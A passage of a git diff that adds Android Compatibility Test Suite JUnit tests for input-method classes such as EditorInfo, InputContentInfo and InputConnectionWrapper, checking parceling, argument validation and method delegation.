+        assertEquals(2, BaseInputConnection.getComposingSpanStart(text));
+        assertEquals(5, BaseInputConnection.getComposingSpanEnd(text));
+
+        // BaseInputConnection#closeConnection() must clear the on-going composition.
+        mConnection.closeConnection();
+        assertEquals(-1, BaseInputConnection.getComposingSpanStart(text));
+        assertEquals(-1, BaseInputConnection.getComposingSpanEnd(text));
+    }
+
+    @Test
+    public void testGetHandler() {
+        // BaseInputConnection must not implement getHandler().
+        assertNull(mConnection.getHandler());
+    }
+
+    @Test
+    public void testCommitContent() {
+        final InputContentInfo inputContentInfo = new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("https://example.com"));
+        // The default implementation should do nothing and just return false.
+        assertFalse(mConnection.commitContent(inputContentInfo, 0 /* flags */, null /* opts */));
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java
new file mode 100644
index 0000000..9a8d206
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/CompletionInfoTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inputmethod.CompletionInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CompletionInfoTest {
+    private static final int ID = 1;
+    private static final int POSITION = 1;
+    private static final String TEXT = "CompletionInfoText";
+    private static final String LABEL = "CompletionInfoLabel";
+
+    @Test
+    public void testCompletionInfo() {
+        new CompletionInfo(ID, POSITION, TEXT);
+        CompletionInfo info = new CompletionInfo(ID, POSITION, TEXT, LABEL);
+        assertCompletionInfo(info);
+
+        assertEquals(0, info.describeContents());
+        assertNotNull(info.toString());
+
+        Parcel p = Parcel.obtain();
+        info.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        CompletionInfo targetInfo = CompletionInfo.CREATOR.createFromParcel(p);
+        p.recycle();
+        assertCompletionInfo(targetInfo);
+    }
+
+    private void assertCompletionInfo(CompletionInfo info) {
+        assertEquals(ID, info.getId());
+        assertEquals(POSITION, info.getPosition());
+        assertEquals(TEXT, info.getText().toString());
+        assertEquals(LABEL, info.getLabel().toString());
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
new file mode 100644
index 0000000..1557511
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/EditorInfoTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.mockito.Matchers.anyString;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
+import android.os.Bundle;
+import android.os.LocaleList;
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.MoreAsserts;
+import android.text.TextUtils;
+import android.util.Printer;
+import android.view.inputmethod.EditorInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class EditorInfoTest {
+    @Test
+    public void testEditorInfo() {
+        EditorInfo info = new EditorInfo();
+
+        info.actionId = 1;
+        info.actionLabel = "actionLabel";
+        info.fieldId = 2;
+        info.fieldName = "fieldName";
+        info.hintText = "hintText";
+        info.imeOptions = EditorInfo.IME_FLAG_NO_ENTER_ACTION;
+        info.initialCapsMode = TextUtils.CAP_MODE_CHARACTERS;
+        info.initialSelEnd = 10;
+        info.initialSelStart = 0;
+        info.inputType = EditorInfo.TYPE_MASK_CLASS;
+        info.label = "label";
+        info.packageName = "android.view.cts";
+        info.privateImeOptions = "privateIme";
+        Bundle b = new Bundle();
+        String key = "bundleKey";
+        String value = "bundleValue";
+        b.putString(key, value);
+        info.extras = b;
+        info.hintLocales = LocaleList.forLanguageTags("en-PH,en-US");
+        info.contentMimeTypes = new String[]{"image/gif", "image/png"};
+
+        assertEquals(0, info.describeContents());
+
+        Parcel p = Parcel.obtain();
+        info.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        EditorInfo targetInfo = EditorInfo.CREATOR.createFromParcel(p);
+        p.recycle();
+        assertEquals(info.actionId, targetInfo.actionId);
+        assertEquals(info.fieldId, targetInfo.fieldId);
+        assertEquals(info.fieldName, targetInfo.fieldName);
+        assertEquals(info.imeOptions, targetInfo.imeOptions);
+        assertEquals(info.initialCapsMode, targetInfo.initialCapsMode);
+        assertEquals(info.initialSelEnd, targetInfo.initialSelEnd);
+        assertEquals(info.initialSelStart, targetInfo.initialSelStart);
+        assertEquals(info.inputType, targetInfo.inputType);
+        assertEquals(info.packageName, targetInfo.packageName);
+        assertEquals(info.privateImeOptions, targetInfo.privateImeOptions);
+        assertEquals(info.hintText.toString(), targetInfo.hintText.toString());
+        assertEquals(info.actionLabel.toString(), targetInfo.actionLabel.toString());
+        assertEquals(info.label.toString(), targetInfo.label.toString());
+        assertEquals(info.extras.getString(key), targetInfo.extras.getString(key));
+        assertEquals(info.hintLocales, targetInfo.hintLocales);
+        MoreAsserts.assertEquals(info.contentMimeTypes, targetInfo.contentMimeTypes);
+
+        Printer printer = mock(Printer.class);
+        String prefix = "TestEditorInfo";
+        info.dump(printer, prefix);
+        verify(printer, atLeastOnce()).println(anyString());
+    }
+
+    @Test
+    public void testNullHintLocals() {
+        EditorInfo info = new EditorInfo();
+        info.hintLocales = null;
+        Parcel p = Parcel.obtain();
+        info.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        EditorInfo targetInfo = EditorInfo.CREATOR.createFromParcel(p);
+        p.recycle();
+        assertNull(targetInfo.hintLocales);
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
new file mode 100644
index 0000000..3e12579
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextRequestTest.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inputmethod.ExtractedTextRequest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ExtractedTextRequestTest {
+    @Test
+    public void testExtractedTextRequest() {
+        ExtractedTextRequest request = new ExtractedTextRequest();
+        request.flags = 1;
+        request.hintMaxChars = 100;
+        request.hintMaxLines = 10;
+        request.token = 2;
+
+        assertEquals(0, request.describeContents());
+
+        Parcel p = Parcel.obtain();
+        request.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        ExtractedTextRequest target = ExtractedTextRequest.CREATOR.createFromParcel(p);
+        p.recycle();
+        assertEquals(request.flags, target.flags);
+        assertEquals(request.hintMaxChars, request.hintMaxChars);
+        assertEquals(request.hintMaxLines, target.hintMaxLines);
+        assertEquals(request.token, target.token);
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
new file mode 100644
index 0000000..41e3efa
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inputmethod.ExtractedText;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ExtractedTextTest {
+    @Test
+    public void testWriteToParcel() {
+        ExtractedText extractedText = new ExtractedText();
+        extractedText.flags = 1;
+        extractedText.selectionEnd = 11;
+        extractedText.selectionStart = 2;
+        extractedText.startOffset = 1;
+        CharSequence text = "test";
+        extractedText.text = text;
+        Parcel p = Parcel.obtain();
+        extractedText.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        ExtractedText target = ExtractedText.CREATOR.createFromParcel(p);
+        assertEquals(extractedText.flags, target.flags);
+        assertEquals(extractedText.selectionEnd, target.selectionEnd);
+        assertEquals(extractedText.selectionStart, target.selectionStart);
+        assertEquals(extractedText.startOffset, target.startOffset);
+        assertEquals(extractedText.partialStartOffset, target.partialStartOffset);
+        assertEquals(extractedText.partialEndOffset, target.partialEndOffset);
+        assertEquals(extractedText.text.toString(), target.text.toString());
+
+        assertEquals(0, extractedText.describeContents());
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java
new file mode 100644
index 0000000..faaff3d
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+
+import android.os.Binder;
+import android.os.Parcel;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
+import android.view.inputmethod.BaseInputConnection;
+import android.view.inputmethod.InputBinding;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputBindingTest {
+    @Test
+    public void testInputBinding() {
+        View view = new View(InstrumentationRegistry.getTargetContext());
+        BaseInputConnection bic = new BaseInputConnection(view, false);
+        Binder binder = new Binder();
+        int uid = 1;
+        int pid = 2;
+        InputBinding inputBinding = new InputBinding(bic, binder, uid, pid);
+        new InputBinding(bic, inputBinding);
+        assertSame(bic, inputBinding.getConnection());
+        assertSame(binder, inputBinding.getConnectionToken());
+        assertEquals(uid, inputBinding.getUid());
+        assertEquals(pid, inputBinding.getPid());
+
+        assertNotNull(inputBinding.toString());
+        assertEquals(0, inputBinding.describeContents());
+
+        Parcel p = Parcel.obtain();
+        inputBinding.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        InputBinding target = InputBinding.CREATOR.createFromParcel(p);
+        assertEquals(uid, target.getUid());
+        assertEquals(pid, target.getPid());
+        assertSame(binder, target.getConnectionToken());
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
new file mode 100644
index 0000000..71abacc
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static com.android.compatibility.common.util.WidgetTestUtils.sameCharSequence;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.content.ClipDescription;
+import android.net.Uri;
+import android.os.Bundle;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
+import android.view.KeyEvent;
+import android.view.inputmethod.CompletionInfo;
+import android.view.inputmethod.CorrectionInfo;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.ExtractedTextRequest;
+import android.view.inputmethod.InputConnection;
+import android.view.inputmethod.InputConnectionWrapper;
+import android.view.inputmethod.InputContentInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputConnectionWrapperTest {
+    @Test
+    public void testInputConnectionWrapper() {
+        InputConnection inputConnection = mock(InputConnection.class);
+        doReturn(true).when(inputConnection).commitContent(any(InputContentInfo.class),
+                anyInt(), any(Bundle.class));
+        InputConnectionWrapper wrapper = new InputConnectionWrapper(null, true);
+        try {
+            wrapper.beginBatchEdit();
+            fail("Failed to throw NullPointerException!");
+        } catch (NullPointerException e) {
+            // expected
+        }
+        wrapper.setTarget(inputConnection);
+
+        wrapper.beginBatchEdit();
+        verify(inputConnection, times(1)).beginBatchEdit();
+
+        wrapper.clearMetaKeyStates(KeyEvent.META_ALT_ON);
+        verify(inputConnection, times(1)).clearMetaKeyStates(KeyEvent.META_ALT_ON);
+
+        wrapper.commitCompletion(new CompletionInfo(1, 1, "testText"));
+        ArgumentCaptor<CompletionInfo> completionInfoCaptor =
+                ArgumentCaptor.forClass(CompletionInfo.class);
+        verify(inputConnection, times(1)).commitCompletion(completionInfoCaptor.capture());
+        assertEquals(1, completionInfoCaptor.getValue().getId());
+        assertEquals(1, completionInfoCaptor.getValue().getPosition());
+        assertEquals("testText", completionInfoCaptor.getValue().getText());
+
+        wrapper.commitCorrection(new CorrectionInfo(0, "oldText", "newText"));
+        ArgumentCaptor<CorrectionInfo> correctionInfoCaptor =
+                ArgumentCaptor.forClass(CorrectionInfo.class);
+        verify(inputConnection, times(1)).commitCorrection(correctionInfoCaptor.capture());
+        assertEquals(0, correctionInfoCaptor.getValue().getOffset());
+        assertEquals("oldText", correctionInfoCaptor.getValue().getOldText());
+        assertEquals("newText", correctionInfoCaptor.getValue().getNewText());
+
+        wrapper.commitText("Text", 1);
+        verify(inputConnection, times(1)).commitText(sameCharSequence("Text"), eq(1));
+
+        wrapper.deleteSurroundingText(10, 100);
+        verify(inputConnection, times(1)).deleteSurroundingText(10, 100);
+
+        wrapper.deleteSurroundingTextInCodePoints(10, 100);
+        verify(inputConnection, times(1)).deleteSurroundingTextInCodePoints(10, 100);
+
+        wrapper.endBatchEdit();
+        verify(inputConnection, times(1)).endBatchEdit();
+
+        wrapper.finishComposingText();
+        verify(inputConnection, times(1)).finishComposingText();
+
+        wrapper.getCursorCapsMode(TextUtils.CAP_MODE_CHARACTERS);
+        verify(inputConnection, times(1)).getCursorCapsMode(TextUtils.CAP_MODE_CHARACTERS);
+
+        wrapper.getExtractedText(new ExtractedTextRequest(), 0);
+        verify(inputConnection, times(1)).getExtractedText(any(ExtractedTextRequest.class), eq(0));
+
+        wrapper.getTextAfterCursor(5, 0);
+        verify(inputConnection, times(1)).getTextAfterCursor(5, 0);
+
+        wrapper.getTextBeforeCursor(3, 0);
+        verify(inputConnection, times(1)).getTextBeforeCursor(3, 0);
+
+        wrapper.performContextMenuAction(1);
+        verify(inputConnection, times(1)).performContextMenuAction(1);
+
+        wrapper.performEditorAction(EditorInfo.IME_ACTION_GO);
+        verify(inputConnection, times(1)).performEditorAction(EditorInfo.IME_ACTION_GO);
+
+        wrapper.performPrivateCommand("com.android.action.MAIN", new Bundle());
+        verify(inputConnection, times(1)).performPrivateCommand(eq("com.android.action.MAIN"),
+                any(Bundle.class));
+
+        wrapper.reportFullscreenMode(true);
+        verify(inputConnection, times(1)).reportFullscreenMode(true);
+
+        wrapper.sendKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0));
+        ArgumentCaptor<KeyEvent> keyEventCaptor = ArgumentCaptor.forClass(KeyEvent.class);
+        verify(inputConnection, times(1)).sendKeyEvent(keyEventCaptor.capture());
+        assertEquals(KeyEvent.ACTION_DOWN, keyEventCaptor.getValue().getAction());
+        assertEquals(KeyEvent.KEYCODE_0, keyEventCaptor.getValue().getKeyCode());
+
+        wrapper.setComposingText("Text", 1);
+        verify(inputConnection, times(1)).setComposingText("Text", 1);
+
+        wrapper.setSelection(0, 10);
+        verify(inputConnection, times(1)).setSelection(0, 10);
+
+        wrapper.getSelectedText(0);
+        verify(inputConnection, times(1)).getSelectedText(0);
+
+        wrapper.setComposingRegion(0, 3);
+        verify(inputConnection, times(1)).setComposingRegion(0, 3);
+
+        wrapper.requestCursorUpdates(InputConnection.CURSOR_UPDATE_IMMEDIATE);
+        verify(inputConnection, times(1))
+                .requestCursorUpdates(InputConnection.CURSOR_UPDATE_IMMEDIATE);
+
+        wrapper.closeConnection();
+        verify(inputConnection, times(1)).closeConnection();
+
+        verify(inputConnection, never()).getHandler();
+        assertNull(wrapper.getHandler());
+        verify(inputConnection, times(1)).getHandler();
+
+        verify(inputConnection, never()).commitContent(any(InputContentInfo.class), anyInt(),
+                any(Bundle.class));
+
+        final InputContentInfo inputContentInfo = new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("https://example.com"));
+        wrapper.commitContent(inputContentInfo, 0 /* flags */, null /* opt */);
+        verify(inputConnection, times(1)).commitContent(inputContentInfo, 0, null);
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java
new file mode 100644
index 0000000..777b6d8
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.content.ClipDescription;
+import android.net.Uri;
+import android.os.Parcel;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inputmethod.InputContentInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.security.InvalidParameterException;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputContentInfoTest {
+    @Test
+    public void testInputContentInfo() {
+        InputContentInfo info = new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("https://example.com"));
+
+        assertEquals(Uri.parse("content://com.example/path"), info.getContentUri());
+        assertEquals(1, info.getDescription().getMimeTypeCount());
+        assertEquals("image/png", info.getDescription().getMimeType(0));
+        assertEquals("sample content", info.getDescription().getLabel());
+        assertEquals(Uri.parse("https://example.com"), info.getLinkUri());
+        assertEquals(0, info.describeContents());
+
+        Parcel p = Parcel.obtain();
+        info.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        InputContentInfo targetInfo = InputContentInfo.CREATOR.createFromParcel(p);
+        p.recycle();
+
+        assertEquals(info.getContentUri(), targetInfo.getContentUri());
+        assertEquals(info.getDescription().getMimeTypeCount(),
+                targetInfo.getDescription().getMimeTypeCount());
+        assertEquals(info.getDescription().getMimeType(0),
+                targetInfo.getDescription().getMimeType(0));
+        assertEquals(info.getDescription().getLabel(), targetInfo.getDescription().getLabel());
+        assertEquals(info.getLinkUri(), targetInfo.getLinkUri());
+        assertEquals(info.describeContents(), targetInfo.describeContents());
+    }
+
+    @Test
+    public void testOptionalConstructorParam() {
+        InputContentInfo info = new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}));
+
+        assertEquals(Uri.parse("content://com.example/path"), info.getContentUri());
+        assertEquals(1, info.getDescription().getMimeTypeCount());
+        assertEquals("image/png", info.getDescription().getMimeType(0));
+        assertEquals("sample content", info.getDescription().getLabel());
+        assertNull(info.getLinkUri());
+        assertEquals(0, info.describeContents());
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testContentUriNullContentUri() {
+        new InputContentInfo(
+                null, new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("https://example.com"));
+    }
+
+    @Test(expected = InvalidParameterException.class)
+    public void testContentUriInvalidContentUri() {
+        new InputContentInfo(
+                Uri.parse("https://example.com"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("https://example.com"));
+    }
+
+    @Test(expected = NullPointerException.class)
+    public void testMimeTypeNulLDescription() {
+        new InputContentInfo(
+                Uri.parse("content://com.example/path"), null,
+                Uri.parse("https://example.com"));
+    }
+
+    @Test
+    public void testLinkUri() {
+        // Test that we accept null link Uri
+        new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                null);
+
+        // Test that we accept http link Uri
+        new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("http://example.com/path"));
+
+        // Test that we accept https link Uri
+        new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("https://example.com/path"));
+    }
+
+    @Test(expected = InvalidParameterException.class)
+    public void testLinkUriFtpLinkUri() {
+        // InputContentInfo must accept http and https link Uri only
+        new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("ftp://example.com/path"));
+    }
+
+    @Test(expected = InvalidParameterException.class)
+    public void testLinkUriContentLinkUri() {
+        // InputContentInfo must accept http and https link Uri only
+        new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("content://com.example/path"));
+    }
+
+    @Test
+    public void testRequestAndReleasePermission() {
+        InputContentInfo info = new InputContentInfo(
+                Uri.parse("content://com.example/path"),
+                new ClipDescription("sample content", new String[]{"image/png"}),
+                Uri.parse("https://example.com"));
+
+        // Here we only assert that {request, release}Permission() do not crash, because ensuring
+        // the entire functionality of these methods requires end-to-end IME test environment, which
+        // we do not have yet in CTS.
+        // Note it is actually intentional that calling these methods here has no effect.  Those
+        // methods would have effect only after the object is passed from the IME process to the
+        // application process.
+        // TODO: Create an end-to-end CTS test for this functionality.
+        info.requestPermission();
+        info.releasePermission();
+        info.requestPermission();
+        info.releasePermission();
+    }
+
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodCtsActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodCtsActivity.java
new file mode 100644
index 0000000..9501d44
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodCtsActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.inputmethod.cts.R;
+
+public class InputMethodCtsActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        setContentView(R.layout.inputmethod_edittext);
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
new file mode 100644
index 0000000..b34673b
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
@@ -0,0 +1,320 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.anyString;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.pm.ServiceInfo;
+import android.content.res.Resources;
+import android.os.Parcel;
+import android.os.ParcelFileDescriptor;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
+import android.util.Printer;
+import android.view.inputmethod.InputMethod;
+import android.view.inputmethod.InputMethodInfo;
+import android.view.inputmethod.InputMethodManager;
+import android.view.inputmethod.InputMethodSubtype;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputMethodInfoTest {
+    private Context mContext;
+
+    private InputMethodInfo mInputMethodInfo;
+    private String mPackageName;
+    private String mClassName;
+    private CharSequence mLabel;
+    private String mSettingsActivity;
+
+    private int mSubtypeNameResId;
+    private int mSubtypeIconResId;
+    private String mSubtypeLocale;
+    private String mSubtypeMode;
+    private String mSubtypeExtraValue_key;
+    private String mSubtypeExtraValue_value;
+    private String mSubtypeExtraValue;
+    private boolean mSubtypeIsAuxiliary;
+    private boolean mSubtypeOverridesImplicitlyEnabledSubtype;
+    private int mSubtypeId;
+    private InputMethodSubtype mInputMethodSubtype;
+
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mPackageName = mContext.getPackageName();
+        mClassName = InputMethodSettingsActivityStub.class.getName();
+        mLabel = "test";
